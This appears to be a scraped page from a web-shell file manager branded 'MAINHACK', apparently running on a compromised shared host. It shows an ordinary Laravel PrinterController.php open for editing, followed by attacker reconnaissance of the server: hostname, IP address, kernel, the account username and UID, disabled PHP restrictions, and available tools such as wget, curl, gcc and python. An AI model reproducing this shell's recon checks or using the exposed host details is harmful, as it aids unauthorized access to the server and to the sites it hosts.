[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PrinterController.php
<?php namespace App\Http\Controllers; use App\Printer; use Datatables; use Illuminate\Http\Request; class PrinterController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { if (! auth()->user()->can('access_printers')) { abort(403, 'Unauthorized action.'); } if (request()->ajax()) { $business_id = request()->session()->get('user.business_id'); $printer = Printer::where('business_id', $business_id) ->select(['name', 'connection_type', 'capability_profile', 'char_per_line', 'ip_address', 'port', 'path', 'id', ]); return Datatables::of($printer) ->editColumn('capability_profile', function ($row) { return Printer::capability_profile_srt($row->capability_profile); }) ->editColumn('connection_type', function ($row) { return Printer::connection_type_str($row->connection_type); }) ->addColumn( 'action', '@can("printer.update") <a href="{{action(\'App\Http\Controllers\PrinterController@edit\', [$id])}}" class="tw-dw-btn tw-dw-btn-xs tw-dw-btn-outline tw-dw-btn-primary"><i class="glyphicon glyphicon-edit"></i> @lang("messages.edit")</a> @endcan @can("printer.delete") <button data-href="{{action(\'App\Http\Controllers\PrinterController@destroy\', [$id])}}" class="tw-dw-btn tw-dw-btn-outline tw-dw-btn-xs tw-dw-btn-error delete_printer_button"><i class="glyphicon glyphicon-trash"></i> @lang("messages.delete")</button> @endcan' ) ->removeColumn('id') ->rawColumns([7]) ->make(false); } return view('printer.index'); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { if (! auth()->user()->can('access_printers')) { abort(403, 'Unauthorized action.'); } $capability_profiles = Printer::capability_profiles(); $connection_types = Printer::connection_types(); return view('printer.create') ->with(compact('capability_profiles', 'connection_types')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { if (! auth()->user()->can('access_printers')) { abort(403, 'Unauthorized action.'); } try { $business_id = $request->session()->get('user.business_id'); $input = $request->only(['name', 'connection_type', 'capability_profile', 'ip_address', 'port', 'path', 'char_per_line']); $input['business_id'] = $business_id; $input['created_by'] = $request->session()->get('user.id'); if ($input['connection_type'] == 'network') { $input['path'] = ''; } elseif (in_array($input['connection_type'], ['windows', 'linux'])) { $input['ip_address'] = ''; $input['port'] = ''; } $printer = new Printer; $printer->fill($input)->save(); $output = ['success' => 1, 'msg' => __('printer.added_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return redirect('printers')->with('status', $output); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { if (! auth()->user()->can('access_printers')) { abort(403, 'Unauthorized action.'); } $business_id = request()->session()->get('user.business_id'); $printer = Printer::where('business_id', $business_id)->find($id); $capability_profiles = Printer::capability_profiles(); $connection_types = Printer::connection_types(); return view('printer.edit') ->with(compact('printer', 'capability_profiles', 'connection_types')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { if (! auth()->user()->can('access_printers')) { abort(403, 'Unauthorized action.'); } try { $input = $request->only(['name', 'connection_type', 'capability_profile', 'ip_address', 'port', 'path', 'char_per_line']); $business_id = $request->session()->get('user.business_id'); $printer = Printer::where('business_id', $business_id)->findOrFail($id); if ($input['connection_type'] == 'network') { $input['path'] = ''; } elseif (in_array($input['connection_type'], ['windows', 'linux'])) { $input['ip_address'] = ''; $input['port'] = ''; } $printer->fill($input)->save(); $output = ['success' => true, 'msg' => __('printer.updated_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return redirect('printers')->with('status', $output); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { if (! auth()->user()->can('access_printers')) { abort(403, 'Unauthorized action.'); } if (request()->ajax()) { try { $business_id = request()->user()->business_id; $printer = Printer::where('business_id', $business_id)->findOrFail($id); $printer->delete(); $output = ['success' => true, 'msg' => __('printer.deleted_success'), ]; } catch (\Exception $e) { \Log::emergency('File:'.$e->getFile().'Line:'.$e->getLine().'Message:'.$e->getMessage()); $output = ['success' => false, 'msg' => __('messages.something_went_wrong'), ]; } return $output; } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285